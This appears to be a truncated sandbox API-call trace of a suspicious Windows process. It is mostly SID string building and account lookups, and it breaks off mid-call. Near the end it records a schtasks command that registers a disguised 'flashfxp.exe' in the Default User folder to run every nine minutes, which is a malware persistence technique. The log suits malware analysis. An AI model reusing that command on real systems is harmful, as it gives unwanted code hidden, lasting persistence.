[0162.833] SysStringLen (param_1="S-1-5-21") returned 0x8 [0162.833] SysStringLen (param_1="-") returned 0x1 [0162.833] memcpy (in: _Dst=0x142518, _Src=0x1423c8, _Size=0x12 | out: _Dst=0x142518) returned 0x142518 [0162.833] memcpy (in: _Dst=0x142528, _Src=0x142458, _Size=0x4 | out: _Dst=0x142528) returned 0x142528 [0162.833] free (_Block=0x2af260) [0162.833] free (_Block=0x2af280) [0162.833] malloc (_Size=0x18) returned 0x2af280 [0162.833] malloc (_Size=0x18) returned 0x2af260 [0162.833] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0162.833] SysStringLen (param_1="4219442223") returned 0xa [0162.833] memcpy (in: _Dst=0x118088, _Src=0x142518, _Size=0x14 | out: _Dst=0x118088) returned 0x118088 [0162.833] memcpy (in: _Dst=0x11809a, _Src=0x1423c8, _Size=0x16 | out: _Dst=0x11809a) returned 0x11809a [0162.833] free (_Block=0x2af180) [0162.833] free (_Block=0x2af280) [0162.833] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b30 [0162.833] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0162.833] malloc (_Size=0x18) returned 0x2af280 [0162.833] malloc (_Size=0x18) returned 0x2af180 [0162.833] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0162.833] SysStringLen (param_1="-") returned 0x1 [0162.834] memcpy (in: _Dst=0x118128, _Src=0x118088, _Size=0x28 | out: _Dst=0x118128) returned 0x118128 [0162.834] memcpy (in: _Dst=0x11814e, _Src=0x142518, _Size=0x4 | out: _Dst=0x11814e) returned 0x11814e [0162.834] free (_Block=0x2af260) [0162.834] free (_Block=0x2af280) [0162.834] malloc (_Size=0x18) returned 0x2af280 [0162.834] malloc (_Size=0x18) returned 0x2af260 [0162.834] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0162.834] SysStringLen (param_1="4223814209") returned 0xa [0162.834] memcpy (in: _Dst=0x107588, _Src=0x118128, _Size=0x2a | out: _Dst=0x107588) returned 0x107588 [0162.834] memcpy (in: _Dst=0x1075b0, _Src=0x142518, _Size=0x16 | out: _Dst=0x1075b0) returned 0x1075b0 [0162.834] free (_Block=0x2af180) [0162.834] free (_Block=0x2af280) [0162.834] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b34 [0162.834] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0162.834] malloc (_Size=0x18) returned 0x2af280 [0162.834] malloc (_Size=0x18) returned 0x2af180 [0162.834] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0162.834] SysStringLen (param_1="-") returned 0x1 [0162.834] memcpy (in: _Dst=0x12dc48, _Src=0x107588, _Size=0x3e | out: _Dst=0x12dc48) returned 0x12dc48 [0162.834] memcpy (in: _Dst=0x12dc84, _Src=0x142518, _Size=0x4 | out: _Dst=0x12dc84) returned 0x12dc84 [0162.834] free (_Block=0x2af260) [0162.835] free (_Block=0x2af280) [0162.835] malloc (_Size=0x18) returned 0x2af280 [0162.835] malloc (_Size=0x18) returned 0x2af260 [0162.835] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0162.835] SysStringLen (param_1="3835049652") returned 0xa [0162.835] memcpy (in: _Dst=0x107588, _Src=0x12dc48, _Size=0x40 | out: _Dst=0x107588) returned 0x107588 [0162.835] memcpy (in: _Dst=0x1075c6, _Src=0x142518, _Size=0x16 | out: _Dst=0x1075c6) returned 0x1075c6 [0162.835] free (_Block=0x2af180) [0162.835] free (_Block=0x2af280) [0162.835] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b38 [0162.835] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0162.835] malloc (_Size=0x18) returned 0x2af280 [0162.835] malloc (_Size=0x18) returned 0x2af180 [0162.835] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0162.835] SysStringLen (param_1="-") returned 0x1 [0162.835] memcpy (in: _Dst=0x12dc48, _Src=0x107588, _Size=0x54 | out: _Dst=0x12dc48) returned 0x12dc48 [0162.835] memcpy (in: _Dst=0x12dc9a, _Src=0x142518, _Size=0x4 | out: _Dst=0x12dc9a) returned 0x12dc9a [0162.835] free (_Block=0x2af260) [0162.835] free (_Block=0x2af280) [0162.835] malloc (_Size=0x18) returned 0x2af280 [0162.835] malloc (_Size=0x18) returned 0x2af260 [0162.836] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0162.836] SysStringLen (param_1="1000") returned 0x4 [0162.836] memcpy (in: _Dst=0x107588, _Src=0x12dc48, _Size=0x56 | out: _Dst=0x107588) returned 0x107588 [0162.836] memcpy (in: _Dst=0x1075dc, _Src=0x142518, _Size=0xa | out: _Dst=0x1075dc) returned 0x1075dc [0162.836] free (_Block=0x2af180) [0162.836] free (_Block=0x2af280) [0162.836] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0162.836] malloc (_Size=0x5e) returned 0x2b0ad0 [0162.836] free (_Block=0x2af260) [0162.836] malloc (_Size=0x18) returned 0x2af260 [0162.836] free (_Block=0x2b0ad0) [0162.836] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0162.837] GetLastError () returned 0x7a [0162.837] malloc (_Size=0x14) returned 0x2af280 [0162.837] malloc (_Size=0x16) returned 0x2af180 [0162.837] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af280, cchName=0xe7ca84, ReferencedDomainName=0x2af180, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0162.838] malloc (_Size=0x18) returned 0x2af240 [0162.838] malloc (_Size=0x18) returned 0x2af1a0 [0162.838] free (_Block=0x2af280) [0162.838] free (_Block=0x2af180) [0162.838] free (_Block=0x2b86e0) [0162.838] free (_Block=0x2af1a0) [0162.838] free (_Block=0x2af240) [0162.838] free (_Block=0x2af260) [0162.839] free (_Block=0x2b8b10) [0162.839] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x10a020, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0162.839] GetTokenInformation (in: TokenHandle=0x248, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0162.839] GetLastError () returned 0x7a [0162.839] malloc (_Size=0x2c) returned 0x2b8b50 [0162.839] GetTokenInformation (in: TokenHandle=0x248, TokenInformationClass=0x1, TokenInformation=0x2b8b50, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2b8b50, ReturnLength=0xe7cbf8) returned 1 [0162.839] IsValidSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0162.839] GetLengthSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0162.839] malloc (_Size=0x1c) returned 0x2b86e0 [0162.839] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b86e0, pSourceSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b86e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0162.839] GetSidIdentifierAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b62 [0162.839] malloc (_Size=0x18) returned 0x2af260 [0162.840] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0162.840] malloc (_Size=0x18) returned 0x2af240 [0162.840] malloc (_Size=0x18) returned 0x2af1a0 [0162.840] SysStringLen (param_1="S-1-") returned 0x4 [0162.840] SysStringLen (param_1="5") returned 0x1 [0162.840] memcpy (in: _Dst=0x1423c8, _Src=0x142458, _Size=0xa | out: _Dst=0x1423c8) returned 0x1423c8 [0162.840] memcpy (in: _Dst=0x1423d0, _Src=0x142518, _Size=0x4 | out: _Dst=0x1423d0) returned 0x1423d0 [0162.840] free (_Block=0x2af260) [0162.840] free (_Block=0x2af240) [0162.840] GetSidSubAuthorityCount (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b61 [0162.840] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b68 [0162.840] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0162.840] malloc (_Size=0x18) returned 0x2af240 [0162.840] malloc (_Size=0x18) returned 0x2af260 [0162.840] SysStringLen (param_1="S-1-5") returned 0x5 [0162.840] SysStringLen (param_1="-") returned 0x1 [0162.840] memcpy (in: _Dst=0x142518, _Src=0x1423c8, _Size=0xc | out: _Dst=0x142518) returned 0x142518 [0162.840] memcpy (in: _Dst=0x142522, _Src=0x142458, _Size=0x4 | out: _Dst=0x142522) returned 0x142522 [0162.840] free (_Block=0x2af1a0) [0162.840] free (_Block=0x2af240) [0162.841] malloc (_Size=0x18) returned 0x2af240 [0162.841] malloc (_Size=0x18) returned 0x2af1a0 [0162.841] SysStringLen (param_1="S-1-5-") returned 0x6 [0162.841] SysStringLen (param_1="21") returned 0x2 [0162.841] memcpy (in: _Dst=0x142458, _Src=0x142518, _Size=0xe | out: _Dst=0x142458) returned 0x142458 [0162.841] memcpy (in: _Dst=0x142464, _Src=0x1423c8, _Size=0x6 | out: _Dst=0x142464) returned 0x142464 [0162.841] free (_Block=0x2af260) [0162.841] free (_Block=0x2af240) [0162.841] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b6c [0162.841] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0162.841] malloc (_Size=0x18) returned 0x2af240 [0162.841] malloc (_Size=0x18) returned 0x2af260 [0162.841] SysStringLen (param_1="S-1-5-21") returned 0x8 [0162.841] SysStringLen (param_1="-") returned 0x1 [0162.841] memcpy (in: _Dst=0x1423c8, _Src=0x142458, _Size=0x12 | out: _Dst=0x1423c8) returned 0x1423c8 [0162.841] memcpy (in: _Dst=0x1423d8, _Src=0x142518, _Size=0x4 | out: _Dst=0x1423d8) returned 0x1423d8 [0162.841] free (_Block=0x2af1a0) [0162.842] free (_Block=0x2af240) [0162.842] malloc (_Size=0x18) returned 0x2af240 [0162.842] malloc (_Size=0x18) returned 0x2af1a0 [0162.843] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0162.843] SysStringLen (param_1="4219442223") returned 0xa [0162.843] memcpy (in: _Dst=0x118088, _Src=0x1423c8, _Size=0x14 | out: _Dst=0x118088) returned 0x118088 [0162.843] memcpy (in: _Dst=0x11809a, _Src=0x142458, _Size=0x16 | out: _Dst=0x11809a) returned 0x11809a [0162.843] free (_Block=0x2af260) [0162.843] free (_Block=0x2af240) [0162.843] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b70 [0162.843] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0162.843] malloc (_Size=0x18) returned 0x2af240 [0162.843] malloc (_Size=0x18) returned 0x2af260 [0162.843] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0162.843] SysStringLen (param_1="-") returned 0x1 [0162.843] memcpy (in: _Dst=0x118128, _Src=0x118088, _Size=0x28 | out: _Dst=0x118128) returned 0x118128 [0162.843] memcpy (in: _Dst=0x11814e, _Src=0x1423c8, _Size=0x4 | out: _Dst=0x11814e) returned 0x11814e [0162.843] free (_Block=0x2af1a0) [0162.843] free (_Block=0x2af240) [0162.843] malloc (_Size=0x18) returned 0x2af240 [0162.843] malloc (_Size=0x18) returned 0x2af1a0 [0162.843] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0162.843] SysStringLen (param_1="4223814209") returned 0xa [0162.844] memcpy (in: _Dst=0x12dc48, _Src=0x118128, _Size=0x2a | out: _Dst=0x12dc48) returned 0x12dc48 [0162.844] memcpy (in: _Dst=0x12dc70, _Src=0x1423c8, _Size=0x16 | out: _Dst=0x12dc70) returned 0x12dc70 [0162.844] free (_Block=0x2af260) [0162.844] free (_Block=0x2af240) [0162.844] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b74 [0162.844] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0162.844] malloc (_Size=0x18) returned 0x2af240 [0162.844] malloc (_Size=0x18) returned 0x2af260 [0162.844] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0162.844] SysStringLen (param_1="-") returned 0x1 [0162.844] memcpy (in: _Dst=0x107588, _Src=0x12dc48, _Size=0x3e | out: _Dst=0x107588) returned 0x107588 [0162.844] memcpy (in: _Dst=0x1075c4, _Src=0x1423c8, _Size=0x4 | out: _Dst=0x1075c4) returned 0x1075c4 [0162.844] free (_Block=0x2af1a0) [0162.844] free (_Block=0x2af240) [0162.844] malloc (_Size=0x18) returned 0x2af240 [0162.844] malloc (_Size=0x18) returned 0x2af1a0 [0162.844] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0162.844] SysStringLen (param_1="3835049652") returned 0xa [0162.845] memcpy (in: _Dst=0x12dc48, _Src=0x107588, _Size=0x40 | out: _Dst=0x12dc48) returned 0x12dc48 [0162.845] memcpy (in: _Dst=0x12dc86, _Src=0x1423c8, _Size=0x16 | out: _Dst=0x12dc86) returned 0x12dc86 [0162.845] free (_Block=0x2af260) [0162.845] free (_Block=0x2af240) [0162.845] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b78 [0162.845] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0162.845] malloc (_Size=0x18) returned 0x2af240 [0162.845] malloc (_Size=0x18) returned 0x2af260 [0162.845] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0162.845] SysStringLen (param_1="-") returned 0x1 [0162.845] memcpy (in: _Dst=0x107588, _Src=0x12dc48, _Size=0x54 | out: _Dst=0x107588) returned 0x107588 [0162.845] memcpy (in: _Dst=0x1075da, _Src=0x1423c8, _Size=0x4 | out: _Dst=0x1075da) returned 0x1075da [0162.845] free (_Block=0x2af1a0) [0162.845] free (_Block=0x2af240) [0162.845] malloc (_Size=0x18) returned 0x2af240 [0162.845] malloc (_Size=0x18) returned 0x2af1a0 [0162.845] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0162.845] SysStringLen (param_1="1000") returned 0x4 [0162.845] memcpy (in: _Dst=0x12dc48, _Src=0x107588, _Size=0x56 | out: _Dst=0x12dc48) returned 0x12dc48 [0162.845] memcpy (in: _Dst=0x12dc9c, _Src=0x1423c8, _Size=0xa | out: _Dst=0x12dc9c) returned 0x12dc9c [0162.845] free (_Block=0x2af260) [0162.845] free (_Block=0x2af240) [0162.846] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0162.846] malloc (_Size=0x5e) returned 0x2b0ad0 [0162.846] free (_Block=0x2af1a0) [0162.846] malloc (_Size=0x18) returned 0x2af1a0 [0162.846] free (_Block=0x2b0ad0) [0162.846] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0162.847] GetLastError () returned 0x7a [0162.847] malloc (_Size=0x14) returned 0x2af240 [0162.847] malloc (_Size=0x16) returned 0x2af260 [0162.847] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af240, cchName=0xe7ca94, ReferencedDomainName=0x2af260, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0162.848] malloc (_Size=0x18) returned 0x2af180 [0162.848] malloc (_Size=0x18) returned 0x2af280 [0162.848] free (_Block=0x2af240) [0162.848] free (_Block=0x2af260) [0162.848] free (_Block=0x2b86e0) [0162.848] free (_Block=0x2af280) [0162.848] free (_Block=0x2af180) [0162.848] free (_Block=0x2af1a0) [0162.848] free (_Block=0x2b8b50) [0162.849] malloc (_Size=0x48) returned 0x2ad6d0 [0162.849] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0162.854] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0162.854] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0162.856] malloc (_Size=0x18) returned 0x2af1a0 [0162.857] CreateEnvironmentBlock () returned 0x1 [0162.862] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0162.862] malloc (_Size=0x18) returned 0x2af180 [0162.862] CreateProcessAsUserW (in: hToken=0x234, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"flashfxpf\" /sc MINUTE /mo 9 /tr \"'C:\\Users\\Default User\\flashfxp.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x18a730, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"flashfxpf\" /sc MINUTE /mo 9 /tr \"'C:\\Users\\Default User\\flashfxp.exe'\" /f", lpProcessInformation=0xe7cba0*(hProcess=0x300, hThread=0x2fc, dwProcessId=0xa34, dwThreadId=0xa38)) returned 1 [0162.868] CloseHandle (hObject=0x300) returned 1 [0162.868] CloseHandle (hObject=0x2fc) returned 1 [0162.868] free (_Block=0x2af180) [0162.868] DestroyEnvironmentBlock () returned 0x1 [0162.868] malloc (_Size=0x48) returned 0x2ad680 [0162.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x2d488e80, dwHighDateTime=0x1d8a92a)) [0162.868] SetEvent (hEvent=0x1f0) returned 1 [0162.869] CloseHandle (hObject=0x248) returned 1 [0162.869] CloseHandle (hObject=0x234) returned 1 [0163.065] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd940 [0163.065] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd940, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0163.065] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd940 | out: hHeap=0xc0000) returned 1 [0163.639] SetLastError (dwErrCode=0x0) [0163.639] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0163.639] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0163.639] SetLastError (dwErrCode=0x0) [0163.639] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0163.640] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd940 [0163.640] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0163.640] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12eec0 [0163.640] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12eec0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0163.640] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12eec0 | out: hHeap=0xc0000) returned 1 [0163.641] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0163.642] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0163.642] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0163.642] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0163.643] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0163.643] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0163.643] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0163.645] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0163.645] GetCurrentThread () returned 0xfffffffffffffffe [0163.645] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x2ac) returned 1 [0163.645] malloc (_Size=0xd8) returned 0x2b90e0 [0163.645] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0163.645] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0163.646] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0163.646] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0163.646] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0163.646] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0163.646] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0163.646] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0163.647] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0163.647] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0163.647] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0163.647] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0163.647] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0163.647] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0163.648] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0163.648] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0163.648] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0163.648] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0163.648] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0163.648] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0163.649] GetProcAddress 